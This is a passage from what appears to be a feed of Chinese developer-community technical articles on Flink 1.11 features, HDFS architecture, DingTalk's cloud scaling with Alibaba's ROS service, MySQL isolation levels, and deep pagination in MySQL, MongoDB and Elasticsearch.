    • FLIP-123 通过 Hive Dialect 为用户提供语法兼容,这样用户无需在 Flink 和 Hive 的 CLI 之间切换,可以直接迁移 Hive 脚本到 Flink 中执行。
    • 提供 Hive 相关依赖的内置支持,避免用户自己下载所需的相关依赖。现在只需要单独下载一个包,配置 HADOOP_CLASSPATH 就可以运行。

    在 Hive 性能方面,1.10.0 中已经支持了 ORC(Hive 2+)的向量化读取,1.11.0 中我们补全了所有版本的 Parquet 和 ORC 向量化支持来提升性能。

    4 全新 Source API

    前面也提到过,Source 和 Sink 是 Flink 对接外部系统的一个桥梁,对于完善生态、可用性及端到端的用户体验是很重要的环节。社区早在一年前就已经规划了 Source 端的彻底重构,从 FLIP-27 的 ID 就可以看出是很早的一个 Feature。但是由于涉及到很多复杂的内部机制和考虑到各种 Source Connector 的实现,设计上需要考虑的很全面。从 1.10.0 就开始做 POC 的实现,最终赶上了 1.11.0 版本的发布。

    先简要回顾下 Source 之前的主要问题:

    • 对用户而言,在 Flink 中改造已有的 Source 或者重新实现一个生产级的 Source Connector 不是一件容易的事情,具体体现在没有公共的代码可以复用,而且需要理解很多 Flink 内部细节以及实现具体的 Event Time 分配、Watermark 产出、Idleness 监测、线程模型等。
    • 批和流的场景需要实现不同的 Source。
    • Partitions/Splits/Shards 概念在接口中没有显式表达,比如 Split 的发现逻辑和数据消费都耦合在 Source Sunction 的实现中,这样在实现 Kafka 或 Kinesis 类型的 Source 时增加了复杂性。
    • 在 Runtime 执行层,Checkpoint 锁被 Source Function 抢占会带来一系列问题,框架很难进行优化。

    FLIP-27 在设计时充分考虑了上述的痛点:

    4.jpg

    • 首先在 Job Manager 和 Task Manager 中分别引入两种不同的组件 Split Enumerator 和 Source Reader,解耦 Split 发现和对应的消费处理,同时方便随意组合不同的策略。比如现有的 Kafka Connector 中有多种不同的 Partition 发现策略和实现耦合在一起,在新的架构下,我们只需要实现一种 Source Reader,就可以适配多种 Split Enumerator 的实现来对应不同的 Partition 发现策略。
    • 在新架构下实现的 Source Connector 可以做到批流统一,唯一的小区别是对批场景的有限输入,Split Enumerator 会产出固定数量的 Split 集合并且每个 Split 都是有限数据集;对于流场景的无限输入,Split Enumerator 要么产出无限多的 Split 或者 Split 自身是无限数据集。
    • 复杂的 Timestamp Assigner 以及 Watermark Generator 透明的内置在 Source Reader 模块内运行,对用户来说是无感知的。这样用户如果想实现新的 Source Connector,一般不再需要重复实现这部分功能。

    目前 Flink 已有的 Source Connector 会在后续的版本中基于新架构来重新实现,Legacy Source 也会继续维护几个版本保持兼容性,用户也可以按照 Release 文档中的说明来尝试体验新 Source 的开发。

    5 PyFlink 生态

    众所周知,Python 语言在机器学习和数据分析领域有着广泛的使用。Flink 从 1.9.0 版本开始发力兼容 Python 生态,Python 和 Flink 合力为 PyFlink,把 Flink 的实时分布式处理能力输出给 Python 用户。前两个版本 PyFlink 已经支持了 Python Table API 和 UDF,在 1.11.0 中扩大对 Python 生态库 Pandas 的支持以及和 SQL DDL/Client 的集成,同时 Python UDF 性能有了极大的提升。

    具体来说,之前普通的 Python UDF 每次调用只能处理一条数据,而且在 Java 端和 Python 端都需要序列化/反序列化,开销很大。1.11.0 中 Flink 支持在 Table & SQL 作业中自定义和使用向量化 Python UDF,用户只需要在 UDF 修饰中额外增加一个参数 udf_type=“pandas” 即可。这样带来的好处是:

    • 每次调用可以处理 N 条数据。
    • 数据格式基于 Apache Arrow,大大降低了 Java、Python 进程之间的序列化/反序列化开销。
    • 方便 Python 用户基于 Numpy 和 Pandas 等数据分析领域常用的 Python 库,开发高性能的 Python UDF。

    除此之外,1.11.0 中 PyFlink 还支持:

    • PyFlink table 和 Pandas DataFrame 之间无缝切换(FLIP-120),增强 Pandas 生态的易用性和兼容性。
    • Table & SQL 中可以定义和使用 Python UDTF(FLINK-14500),不再必需 Java/Scala UDTF。
    • Cython 优化 Python UDF 的性能(FLIP-121),对比 1.10.0 可以提升 30 倍。
    • Python UDF 中用户自定义 Metric(FLIP-112),方便监控和调试 UDF 的执行。

    上述解读的都是侧重 API 层面,用户开发作业可以直接感知到的易用性的提升。下面我们看看执行引擎层在 1.11.0 中都有哪些值得关注的变化。

    三 生产可用性和稳定性提升

    1 支持 Application 模式和 Kubernetes 增强

    1.11.0 版本前,Flink 主要支持如下两种模式运行:

    • Session 模式:提前启动一个集群,所有作业都共享这个集群的资源运行。优势是避免每个作业单独启动集群带来的额外开销,缺点是隔离性稍差。如果一个作业把某个 Task Manager(TM)容器搞挂,会导致这个容器内的所有作业都跟着重启。虽然每个作业有自己独立的 Job Manager(JM)来管理,但是这些 JM 都运行在一个进程中,容易带来负载上的瓶颈。
    • Per-job 模式:为了解决 Session 模式隔离性差的问题,每个作业根据资源需求启动独立的集群,每个作业的 JM 也是运行在独立的进程中,负载相对小很多。

    以上两种模式的共同问题是需要在客户端执行用户代码,编译生成对应的 Job Graph 提交到集群运行。在这个过程需要下载相关 Jar 包并上传到集群,客户端和网络负载压力容易成为瓶颈,尤其当一个客户端被多个用户共享使用。

    1.11.0 中引入了 Application 模式(FLIP-85)来解决上述问题,按照 Application 粒度来启动一个集群,属于这个 Application 的所有 Job 在这个集群中运行。核心是 Job Graph 的生成以及作业的提交不在客户端执行,而是转移到 JM 端执行,这样网络下载上传的负载也会分散到集群中,不再有上述 Client 单点上的瓶颈。

    用户可以通过 bin/flink run-application 来使用 Application 模式,目前 Yarn 和 Kubernetes(K8s)都已经支持这种模式。Yarn application 会在客户端将运行作业需要的依赖都通过 Yarn Local Resource 传递到 JM。K8s Application 允许用户构建包含用户 Jar 与依赖的镜像,同时会根据作业自动创建 TM,并在结束后销毁整个集群,相比 Session 模式具有更好的隔离性。K8s 不再有严格意义上的 Per-Job 模式,Application 模式相当于 Per-Job 在集群进行提交作业的实现。

    除了支持 Application 模式,Flink 原生 K8s 在 1.11.0 中还完善了很多基础的功能特性(FLINK-14460),以达到生产可用性的标准。例如 Node Selector、Label、Annotation、Toleration 等。为了更方便的与 Hadoop 集成,也支持根据环境变量自动挂载 Hadoop 配置的功能。

    2 Checkpoint & Savepoint 优化

    Checkpoint 和 Savepoint 机制一直是 Flink 保持先进性的核心竞争力之一,社区在这个领域的改动很谨慎,最近的几个大版本中几乎没有大的功能和架构上的调整。在用户邮件列表中,我们经常能看到用户反馈和抱怨的相关问题:比如 Checkpoint 长时间做不出来失败,Savepoint 在作业重启后不可用等等。1.11.0 有选择的解决了一些这方面的常见问题,提高生产可用性和稳定性。

    1.11.0 之前, Savepoint 中 Meta 数据和 State 数据分别保存在两个不同的目录中,这样如果想迁移 State 目录很难识别这种映射关系,也可能导致目录被误删除,对于目录清理也同样有麻烦。1.11.0 把两部分数据整合到一个目录下,这样方便整体转移和复用。另外,之前 Meta 引用 State 采用的是绝对路径,这样 State 目录迁移后路径发生变化也不可用,1.11.0 把 State 引用改成了相对路径解决了这个问题(FLINK-5763),这样 Savepoint 的管理维护、复用更加灵活方便。

    实际生产环境中,用户经常遭遇 Checkpoint 超时失败、长时间不能完成带来的困扰。一旦作业 failover 会造成回放大量的历史数据,作业长时间没有进度,端到端的延迟增加。1.11.0 从不同维度对 Checkpoint 的优化和提速做了改进,目标实现分钟甚至秒级的轻量型 Checkpoint。

    首先,增加了 Checkpoint Coordinator 通知 Task 取消 Checkpoint 的机制(FLINK-8871),这样避免 Task 端还在执行已经取消的 Checkpoint 而对系统带来不必要的压力。同时 Task 端放弃已经取消的 Checkpoint,可以更快的参与执行 Coordinator 新触发的 Checkpoint,某种程度上也可以避免新 Checkpoint 再次执行超时而失败。这个优化也对后面默认开启 Local Recovery 提供了便利,Task 端可以及时清理失效 Checkpoint 的资源。

    其次,在反压场景下,整个数据链路堆积了大量 Buffer,导致 Checkpoint Barrier 排在数据 Buffer 后面,不能被 Task 及时处理对齐,也就导致了 Checkpoint 长时间不能执行。1.11.0 中从两个维度对这个问题进行解决:

    1)尝试减少数据链路中的 Buffer 总量(FLINK-16428),这样 Checkpoint Barrier 可以尽快被处理对齐。

    • 上游输出端控制单个 Sub Partition 堆积 Buffer 的最大阈值(Backlog),避免负载不均场景下单个链路上堆积大量 Buffer。
    • 在不影响网络吞吐性能的情况下合理修改上下游默认的 Buffer 配置。
    • 上下游数据传输的基础协议进行了调整,允许单个数据链路可以配置 0 个独占 Buffer 而不死锁,这样总的 Buffer 数量和作业并发规模解耦。根据实际需求在吞吐性能和 Checkpoint 速度两者之间权衡,自定义 Buffer 配比。

    这个优化有一部分工作已经在 1.11.0 中完成,剩余部分会在下个版本继续推进完成。

    2)实现了全新的 Unaligned Checkpoint 机制(FLIP-76)从根本上解决了反压场景下 Checkpoint Barrier 对齐的问题。实际上这个想法早在 1.10.0 版本之前就开始酝酿设计,由于涉及到很多模块的大改动,实现机制和线程模型也很复杂。我们实现了两种不同方案的原型 POC 进行了测试、性能对比,确定了最终的方案,因此直到 1.11.0 才完成了 MVP 版本,这也是 1.11.0 中执行引擎层唯一的一个重量级 Feature。其基本思想可以概括为:

    • Checkpoint Barrier 跨数据 Buffer 传输,不在输入输出队列排队等待处理,这样就和算子的计算能力解耦,Barrier 在节点之间的传输只有网络延时,可以忽略不计。
    • 每个算子多个输入链路之间不需要等待 Barrier 对齐来执行 Checkpoint,第一个到的 Barrier 就可以提前触发 Checkpoint,这样可以进一步提速 Checkpoint,不会因为个别链路的延迟而影响整体。
    • 为了和之前 Aligned Checkpoint 的语义保持一致,所有未被处理的输入输出数据 Buffer 都将作为 Channel State 在 Checkpoint 执行时进行快照持久化,在 Failover 时连同 Operator State 一同进行恢复。换句话说,Aligned 机制保证的是 Barrier 前面所有数据必须被处理完,状态实时体现到 Operator State 中;而 Unaligned 机制把 Barrier 前面的未处理数据所反映的 Operator State 延后到 Failover Restart 时通过 Channel State 回放进行体现,从状态恢复的角度来说最终都是一致的。注意这里虽然引入了额外的 In-Flight Buffer 的持久化,但是这个过程实际是在 Checkpoint 的异步阶段完成的,同步阶段只是进行了轻量级的 Buffer 引用,所以不会过多占用算子的计算时间而影响吞吐性能。

    5.jpg

    Unaligned Checkpoint 在反压严重的场景下可以明显加速 Checkpoint 的完成时间,因为它不再依赖于整体的计算吞吐能力,而和系统的存储性能更加相关,相当于计算和存储的解耦。但是它的使用也有一定的局限性,它会增加整体 State 的大小,对存储 IO 带来额外的开销,因此在 IO 已经是瓶颈的场景下就不太适合使用 Unaligned Checkpoint 机制。

    1.11.0 中 Unaligned Checkpoint 还没有作为默认模式,需要用户手动配置来开启,并且只在 Exactly-Once 模式下生效。但目前还不支持 Savepoint 模式,因为 Savepoint 涉及到作业的 Rescale 场景,Channel State 目前还不支持 State 拆分,在后面的版本会进一步支持,所以 Savepoint 目前还是会使用之前的 Aligned 模式,在反压场景下有可能需要很长时间才能完成。

    四 总结

    Flink 1.11.0 版本的开发过程中,我们看到越来越多来自中国的贡献者参与到核心功能的开发中,见证了 Flink 在中国的生态发展越来越繁荣,比如来自腾讯公司的贡献者参与了 K8s、Checkpoint 等功能开发,来自字节跳动公司的贡献者参与了 Table & SQL 层以及引擎网络层的一些开发。希望更多的公司能够参与到 Flink 开源社区中,分享在不同领域的经验,使 Flink 开源技术一直保持先进性,能够普惠到更多的受众。

    经过 1.11.0 “小版本”的短暂调整,Flink 正在酝酿下一个大版本的 Feature,相信一定会有很多重量级的特性登场,让我们拭目以待!

    ]]>
    必须掌握的分布式文件存储系统—HDFS-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 HDFS(Hadoop Distributed File System)分布式文件存储系统,主要为各类分布式计算框架如Spark、MapReduce等提供海量数据存储服务,同时HBase、Hive底层存储也依赖于HDFS。HDFS提供一个统一的抽象目录树,客户端可通过路径来访问文件,如hdfs://namenode:port/dir-a/a.data。HDFS集群分为两大角色:Namenode、Datanode(非HA模式会存在Secondary Namenode)

    Namenode

    Namenode是HDFS集群主节点,负责管理整个文件系统的元数据,所有的读写请求都要经过Namenode。

    元数据管理

    Namenode对元数据的管理采用了三种形式:

    1) 内存元数据:基于内存存储元数据,元数据比较完整

    2) fsimage文件:磁盘元数据镜像文件,在NameNode工作目录中,它不包含block所在的Datanode 信息

    3) edits文件:数据操作日志文件,用于衔接内存元数据和fsimage之间的操作日志,可通过日志运算出元数据
    fsimage + edits = 内存元数据

    注意:当客户端对hdfs中的文件进行新增或修改时,操作记录首先被记入edit日志文件,当客户端操作成功后,相应的元数据会更新到内存元数据中

    可以通过hdfs的一个工具来查看edits中的信息
    bin/hdfs  oev  -i  edits  -o  edits.xml
    查看fsimage
    bin/hdfs  oiv  -i  fsimage_0000000000000000087  -p  XML  -o  fsimage.xml

    元数据的checkpoint(非HA模式)

    Secondary Namenode每隔一段时间会检查Namenode上的fsimage和edits文件是否需要合并,如触发设置的条件就开始下载最新的fsimage和所有的edits文件到本地,并加载到内存中进行合并,然后将合并之后获得的新的fsimage上传到Namenode。checkpoint操作的触发条件主要配置参数:

    dfs.namenode.checkpoint.check.period=60  #检查触发条件是否满足的频率,单位秒
    dfs.namenode.checkpoint.dir=file://${hadoop.tmp.dir}/dfs/namesecondary
    dfs.namenode.checkpoint.edits.dir=${dfs.namenode.checkpoint.dir}
    #以上两个参数做checkpoint操作时,secondary namenode的本地工作目录,主要处理fsimage和edits文件的
    dfs.namenode.checkpoint.max-retries=3  #最大重试次数
    dfs.namenode.checkpoint.period=3600  #两次checkpoint之间的时间间隔3600秒
    dfs.namenode.checkpoint.txns=1000000  #两次checkpoint之间最大的操作记录

    checkpoint作用

    1.加快Namenode启动

    Namenode启动时,会合并磁盘上的fsimage文件和edits文件,得到完整的元数据信息,但如果fsimage和edits文件非常大,这个合并过程就会非常慢,导致HDFS长时间处于安全模式中而无法正常提供服务。SecondaryNamenode的checkpoint机制可以缓解这一问题

    2.数据恢复
    Namenode和SecondaryNamenode的工作目录存储结构完全相同,当Namenode故障退出需要重新恢复时,可以从SecondaryNamenode的工作目录中将fsimage拷贝到Namenode的工作目录,以恢复Namenode的元数据。但是SecondaryNamenode最后一次合并之后的更新操作的元数据将会丢失,最好Namenode元数据的文件夹放在多个磁盘上面进行冗余,降低数据丢失的可能性。

    注意事项:

    1.SecondaryNamenode只有在第一次进行元数据合并时需要从Namenode下载fsimage到本地。SecondaryNamenode在第一次元数据合并完成并上传到Namenode后,所持有的fsimage已是最新的fsimage,无需再从Namenode处获取,而只需要获取edits文件即可。

    2.SecondaryNamenode从Namenode上将要合并的edits和fsimage拷贝到自己当前服务器上,然后将fsimage和edits反序列化到SecondaryNamenode的内存中,进行计算合并。因此一般需要把Namenode和SecondaryNamenode分别部署到不同的机器上面,且SecondaryNamenode服务器配置要求一般不低于Namenode。

    3.SecondaryNamenode不是充当Namenode的“备服务器”,它的主要作用是进行元数据的checkpoint

    Datanode

    Datanode作为HDFS集群从节点,负责存储管理用户的文件块数据,并定期向Namenode汇报自身所持有的block信息(这点很重要,因为,当集群中发生某些block副本失效时,集群如何恢复block初始副本数量的问题)。

    关于Datanode两个重要的参数:

    1.通过心跳信息上报参数

    <property>
    <name>dfs.blockreport.intervalMsec</name>
    <value>3600000</value>
    <description>Determines block reporting interval in milliseconds.</description>
    </property>

    2.Datanode掉线判断时限参数

    Datanode进程死亡或者网络故障造成Datanode无法与Namenode通信时,Namenode不会立即把该Datanode判定为死亡,要经过一段时间,这段时间称作超时时长。HDFS默认的超时时长为10分钟30秒。如果定义超时时间为timeout,则超时时长的计算公式为:

    timeout = 2 * heartbeat.recheck.interval(默认5分钟) + 10 * dfs.heartbeat.interval(默认3秒)。
    <property>
            <name>heartbeat.recheck.interval</name>
            # 单位毫秒
            <value>2000</value>
    </property>
    <property>
            <name>dfs.heartbeat.interval</name>
            # 单位秒
            <value>1</value>
    </property>

    HDFS读写数据流程

    了解了Namenode和Datanode的作用后,就很容易理解HDFS读写数据流程,这个也是面试中经常问的问题。

    HDFS写数据流程

    1.jpg

    注意:
    1.文件block块切分和上传是在客户端进行的操作

    2.Datanode之间本身是建立了一个RPC通信建立pipeline

    3.客户端先从磁盘读取数据放到一个本地内存缓存,开始往Datanode1上传第一个block,以packet为单位,Datanode1收到一个packet就会传给Datanode2,Datanode2传给Datanode3;Datanode1每传一个packet会放入一个应答队列等待应答

    4.当一个block传输完成之后,客户端会通知Namenode存储块完毕,Namenode将元数据同步到内存中

    5.Datanode之间pipeline传输文件时,一般按照就近可用原则
    a) 首先就近挑选一台机器
    b) 优先选择另一个机架上的Datanode
    c) 在本机架上再随机挑选一台

    HDFS读数据流程

    2.jpg

    注意:
    1.Datanode发送数据,是从磁盘里面读取数据放入流,以packet为单位来做校验

    2.客户端以packet为单位接收,先在本地缓存,然后写入目标文件

    客户端将要读取的文件路径发送给namenode,namenode获取文件的元信息(主要是block的存放位置信息)返回给客户端,客户端根据返回的信息找到相应datanode逐个获取文件的block并在客户端本地进行数据追加合并从而获得整个文件

    HDFS HA机制

    HA:高可用,通过双Namenode消除单点故障。

    3.jpg

    双Namenode协调工作的要点:

    1.元数据管理方式需要改变
    a) 内存中各自保存一份元数据

    b) edits日志只能有一份,只有active状态的Namenode节点可以做写操作

    c) 两个Namenode都可以读取edits

    d) 共享的edits放在一个共享存储中管理(qjournal和NFS两个主流实现,图中以放在一个共享存储中管理(qjournal和为例)

    2.需要一个状态管理功能模块
    a) 实现了一个zk failover,常驻在每一个Namenode所在的节点

    b) 每一个zk failover负责监控自己所在Namenode节点,利用zk进行状态标识,当需要进行状态切换时,由zk failover来负责切换,切换时需要防止brain split现象的发生

    ]]>
    战疫期,钉钉如何扛起暴增百倍的流量?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image.png

    疫情期间,在线教育、在线办公需求持续井喷,钉钉作为很多企业首选的在线办公软件,用户量激增,特别是钉钉视频会议、直播的需求随之飙升。同时,钉钉为了响应教育部门“停课不停学”的号召,宣布老师们可以免费试用钉钉在线课堂。

    流量如洪流般涌入钉钉,一场资源扩容的技术挑战拉开了帷幕。中小学生集体对钉钉展开了五星分期与在线写歌“泄愤”的策略,钉钉本钉不得不在线求饶。而在大战间隙,一声感叹传出:

    流量这么大,钉钉为什么不崩?

    image.png

    从1月28日开始,钉钉音视频会议、直播的访问流量倍数级增长。作为一个在云上成长起来的产品,钉钉开启了在阿里云的资源扩容之路,满足了用户在家办公及在家上课的需求,保证了用户良好的体验,钉钉如何做到的?

    如此大型的扩容,面临着两大困境:效率与资源供应。

    人工扩容困境:效率低下

    时间太短。面对流量暴增,留给钉钉技术团队时间只有几天。从1月29日起,钉钉团队就已在阿里云上24小时开始全力扩容,截止2月2日,从最初的2W vCPU扩容到3W vCPU,仅做到了数倍扩容,还远未达到业务需求。

    购买与配置非常复杂。钉钉的系统架构包含多种资源,不同于单一的云服务器ECS服务集群,还包含SLB、MongoDB、Redis、EIP等产品。这些资源都需要一个个购买,其之间的关系也需要技人工自行配置。

    人工部署效率低、失误率高。钉钉用户群量级大。如果人工部署集群,一个人部署1个集群需要1小时左右,同时也只能操作3-4个集群,还需要大量的配置操作,很容易失误。

    部署复杂度高。集群的服务能力自闭环,支持无限扩展,但也会相应提升部署复杂度,而这次扩容涉及8个地域、16个可用区,传统部署方式扩容场景效率低下
    大规模集群管理难度大。需要快速扩容近千集群,才能满足几亿人在家办公及学生在家上课的需求。当资源上千后,就很难管理资源之间的关系了,更何况超百万的资源规模。

    人工部署,容错率比较差,排查困难。集群之间经常出现偏差,某个集群的SLB监听端口是300,另一个集群是3000,出现问题很难排查。

    除却以上困难,建立和运维如此巨大的集群规模还会带来更多的技术挑战。

    利用资源编排服务ROS,实现快速自动部署

    早在2月2日流量洪峰带来之前,钉钉就通过阿里云的资源编排服务(Resource Orchestration Service,简称 ROS)提高集群部署效率、帮助其快速扩容。而这款服务不负重托,帮助钉钉在短短2小时内新增部署了超过1万台云服务器,这个数字也创下了阿里云上快速扩容的新纪录。

    什么选择资源编排服务?

    资源编排服务是一款帮助阿里云用户简化云资源创建、更新和删除的自动化服务。其通过资源栈 (Stack) 这种逻辑集合来统一管理一组云资源(一个资源栈即为一组阿里云资源)。利用资源编排服务,云资源的创建、删除、克隆等操作都可以以资源栈为单位来完成。在 DevOps 实践中,资源编排可以轻松地克隆开发、测试、线上环境;同时,也可以更容易实现应用的整体迁移和扩容。

    基础设施即代码(Infrastructure as Code)

    资源编排服务是阿里云提供的基础设施即代码(Infrastructureas Code,简称IaC)的云产品,使用ROS可以帮助最快速地实践DevOps中关于IaC的理念。

    全自动托管服务

    ROS产品为全托管服务,无需购买维护IaC模板本身执行所使用的资源,只需要关注业务所需要使用的资源,即模板中定义的资源。尤其需要创建多个项目(对应多个资源栈)时,全托管的自动化可以更快地完成任务。

    可重复部署

    无论客户是需要部署的环境是开发,测试和生产环境,都可以使用同一套模板进行创建。指定不同的参数可以满足环境的差异化,例如,测试环境的ECS实例数是2台,而生产环境的ECS实例数是20台。或是客户需要进行多地域的部署,使用同一套模板可以进行重复的部署,从而提高部署多地域的效率。

    标准化部署

    在实践中,不同环境的细微差异往往带来非常复杂的管理成本,延长了问题诊断的时间,从而影响了业务的正常运转。通过使用ROS重复部署,可以将部署环境标准化,减少不同环境的差异,将环境的配置沉淀到模板中。再通过类似代码的严格管理流程,从而保证部署的标准性。

    统一的身份认证、安全和审计

    和其它的同类产品对比,阿里云官方出品的ROS与其它阿里云产品有着最佳的集成。集成资源访问管理(RAM)提供了统一的身份认证,而无需为单独建立用户认证体系。所有的云产品操作都通过OpenAPI调用,意味着您可以使用操作审计服务(ActionTrail)来审查所有的运维操作,包括ROS本身。

    image.png

    ROS如何服务钉钉扩容?

    定义资源模板

    ROS帮助钉钉快速创建了描述其所需要用到的阿里云资源(如 ECS 实例、数据库实例等)的模板,以定义它的集群架构。ROS提供可视化编辑器能力,可自动可使用的模板。模板完成后,ROS将自动地创建并配置这些资源,即可实现基础设施即代码(Infrastructureas Code)的理念。

    image.png

    模板解析与执行

    当ROS接收到用户创建资源栈的请求时,在执行创建前,首先会对模板进行解析。解析包括语法检查、参数校验、依赖分析等。

    依赖分析就是分析出资源间的依赖关系,目的有两个:

    保证资源创建的正确性:被依赖资源创建完成后才会创建依赖资源。
    提供并行化创建的能力:无依赖关系的资源可以并行化创建。

    模板解析完成后,ROS会按照依赖关系创建资源,只有所有前置资源完成创建,后面的资源才会开始创建,类似状态机的机制。

    该资源模板可以快速地重复部署,尤其多地域、多可用区部署的情况;同时也可以减少环境之间的偏差,将部署过程和结果标准化,减少因为环境偏差引入的系统问题。
    image.png

    总结

    钉钉使用资源编排服务ROS,扩容效率就提升了100倍,陆续为钉钉完成了10万台云服务器的快速扩容和部署,创下了阿里云上快速扩容的新纪录。

    目前ROS已经拥有平均每分钟1个集群的扩容效率、每天超百万vCPU弹性能力。未来,可以预见到,疫情结束后,数百万资源回收释放也将是一个浩大的工程。资源编排服务ROS具有一键销毁功能,自动回收集群内所有资源,避免繁琐操作及遗漏。

    弹性是云计算最大的优势,也是云计算对整个社会提供的普惠和便利,而阿里云弹性计算资源编排服务ROS作为阿里云上原生的自动化编排部署服务,让云计算的弹性发挥到极致,为钉钉提供了强有力的支持,让钉钉成为使用最频繁最流畅的平台。

    ]]>
    MySQL事务隔离级别-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 MySQL事务隔离级别

    对于数据库的隔离级别之前一直没有做详细整理,最近项目运行中发现了一个问题,所以抽时间对这块认真研究了下

    业务场景:
    服务A在处理流程中,会调用外部服务B,然后写入一条数据,服务B执行完成后,会回调服务C的接口更新服务A写入的数据。
    问题:
    在服务B回调服务C的时候总是找不到服务A写入的数据,在服务C中添加延时重试,问题依然存在,但此时查看数据库,对应的数据是已经存在。

    先说原因吧,是因为MySQL的事务默认隔离级别是:可重复读。
    在服务A调用服务B后,还没有写入数据到数据库,服务B就已经回调服务C了,服务C此时肯定是找不到对应的数据的,由于MySQL默认隔离级别是可重复读(即在一个事务中,对于同一份数据读取都是一样的),所以即使服务A已经写入了数据,服务C依然读取不到。

    解决方案:
    在服务C中的查询,不要放到一个事务里面,单独提取一个方法,后面的更新逻辑放到同一个事务中

    什么是事务?

    数据库事务是数据库管理系统执行过程中的一个逻辑单位,由一个有限的数据库操作序列构成。
    比如:某人在商店购买100商品,其中包括两个操作:
    1.该人账户减少100元
    2.商店账户增加100元
    这两个操作要么同时执行成功,要么同时执行失败。

    数据库事务的ACID性质

    • Atomic:原子性,将所有SQL作为原子工作单元执行,要么全部执行,要么全部不执行;
    • Consistent:一致性,事务完成后,所有数据的状态都是一致的,即该人的账户减少了100,商店的账户必须增加100
    • Isolation:隔离性,比如两个人从同一个账户取款,这两个事务对数据的修改必须相互隔离,具体隔离策略后面具体讲解。
    • Duration:持久性,事务完成后,对数据库数据的修改必须被持久化存储。

    数据库的隔离级别

    在单个事务中,不需要做隔离,所谓数据库隔离级别是针对在并发事务的情况下,解决导致的一系列问题,这些问题包括:脏读、不可重复读、幻读,具体隔离级别如下图:

    隔离级别 脏读 不可重复读 幻读
    SERIALIZABLE(串行化) 避免 避免 避免
    REPEATABLE READ(可重复读) 避免 避免 允许
    READ COMMITED(读已提交) 避免 允许 允许
    READ UNCOMMITED(读未提交) 允许 允许 允许

    SERIALIZABLE(串行化)

    当两个事务同时操作数据库中相同数据时,如果第一个事务已经在访问该数据,第二个事务只能停下来等待,必须等到第一个事务结束后才能恢复运行。因此这两个事务实际上是串行化方式运行。

    REPEATABLE READ(可重复读)

    一个事务在执行过程中可以看到其他事务已经提交的新插入的记录,但是不能看到其他事务对已有记录的更新。

    READ COMMITTED(读已提交数据)

    一个事务在执行过程中可以看到其他事务已经提交的新插入的记录,而且还能看到其他事务已经提交的对已有记录的更新。

    READ UNCOMMITTED(读未提交数据)

    一个事务在执行过程中可以看到其他事务没有提交的新插入的记录,而且还能看到其他事务没有提交的对已有记录的更新。

    没有事务隔离级别导致的问题

    如果没有数据库的隔离级别,数据库的数据是实时变化的,即每个事务都可以读到其它事务修改后的数据,下面结合实例介绍每个场景的问题。

    脏读

    定义:读到未提交更新的数据

    时间点 事务1 事务2
    T1 开始事务 --
    T2 -- 开始事务
    T3 查询账户余额为1000 --
    T4 取出100后金额为900 --
    T5 -- 查询账户金额为900(脏读)
    T6 撤销事务,余额恢复为1000 --
    T7 -- 存入100元后,金额变为1000
    T8 -- 提交事务

    如上事务1取出金额100后又回滚了,即啥都没做,但事务2存入了100,但最终的金额确还是1000,正确应该是1100。
    在T5时间节点出现了脏读,如果数据库配置了隔离级别为SERIALIZABLE、REPEATABLE READ、READ COMMITTED,在事务1没有提交的时候,事务2读取的都是原来的值就不会出现问题。

    不可重复读

    定义:在同一个数据中,两次读取到的数据不一致,读到了其他数据提交更新的数据

    时间点 事务1 事务2
    T1 开始事务 --
    T2 -- 开始事务
    T3 查询账户余额为1000 --
    T4 -- 查询账户余额为1000
    T5 取出100后金额为900 --
    T6 提交事务 --
    T7 -- 查询账户余额为900(与T4读取的不一致)

    事务2的两次读取到的数据不一致,第二次读取到了事务1提交的数据

    幻读

    定义:读取到另一个事务已提交插入或删除的数据。

    时间点 事务1 事务2
    T1 开始事务 --
    T2 -- 开始事务
    T3 -- 统计一年级1班所有的学生人数为40人
    T4 一年级1班新增一名学生 --
    T5 提交事务 --
    T6 -- 再次统计一年级1班的所有学生人数为41人

    事务2第一次统计人数为40人,第二次统计为41人,两次统计的结果不一致,同样如果T4时间节点转走一名学生,也会出现不一致

    不可重复读和幻读看起来比较类似,都是一个事务里面读取到两次不同的结果
    本质的区别是:不可重复读是由于数据更新导致数据不一致导致,幻读是由于插入或删除了数据导致的。

    ]]>
    上亿数据怎么玩深度分页?兼容MySQL + ES + MongoDB-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 面试题 & 真实经历

    面试题:在数据量很大的情况下,怎么实现深度分页?

    大家在面试时,或者准备面试中可能会遇到上述的问题,大多的回答基本上是分库分表建索引,这是一种很标准的正确回答,但现实总是很骨感,所以面试官一般会追问你一句,现在工期不足,人员不足,该怎么实现深度分页?

    这个时候没有实际经验的同学基本麻爪,So,请听我娓娓道来。

    惨痛的教训

    首先必须明确一点:深度分页可以做,但是深度随机跳页绝对需要禁止。

    上一张图:

    你们猜,我点一下第142360页,服务会不会爆炸?

    MySQLMongoDB数据库还好,本身就是专业的数据库,处理的不好,最多就是慢,但如果涉及到ES,性质就不一样了,我们不得不利用 SearchAfter Api,去循环获取数据,这就牵扯到内存占用的问题,如果当时代码写的不优雅,直接就可能导致内存溢出。

    为什么不能允许随机深度跳页

    从技术的角度浅显的聊一聊为什么不能允许随机深度跳页,或者说为什么不建议深度分页

    MySQL

    分页的基本原理:

    SELECT * FROM test ORDER BY id DESC LIMIT 10000, 20;

    LIMIT 10000 , 20的意思扫描满足条件的10020行,扔掉前面的10000行,返回最后的20行。如果是LIMIT 1000000 , 100,需要扫描1000100 行,在一个高并发的应用里,每次查询需要扫描超过100W行,不炸才怪。

    MongoDB

    分页的基本原理:

    db.t_data.find().limit(5).skip(5);

    同样的,随着页码的增大,skip 跳过的条目也会随之变大,而这个操作是通过 cursor 的迭代器来实现的,对于cpu的消耗会非常明显,当页码非常大时且频繁时,必然爆炸。

    ElasticSearch

    从业务的角度来说,ElasticSearch不是典型的数据库,它是一个搜索引擎,如果在筛选条件下没有搜索出想要的数据,继续深度分页也不会找到想要的数据,退一步讲,假如我们把ES作为数据库来使用进行查询,在进行分页的时候一定会遇到max_result_window 的限制,看到没,官方都告诉你最大偏移量限制是一万。

    查询流程:

    1. 如查询第501页,每页10条,客户端发送请求到某节点
    2. 此节点将数据广播到各个分片,各分片各自查询前 5010 条数据
    3. 查询结果返回至该节点,然后对数据进行整合,取出前 5010 条数据
    4. 返回给客户端

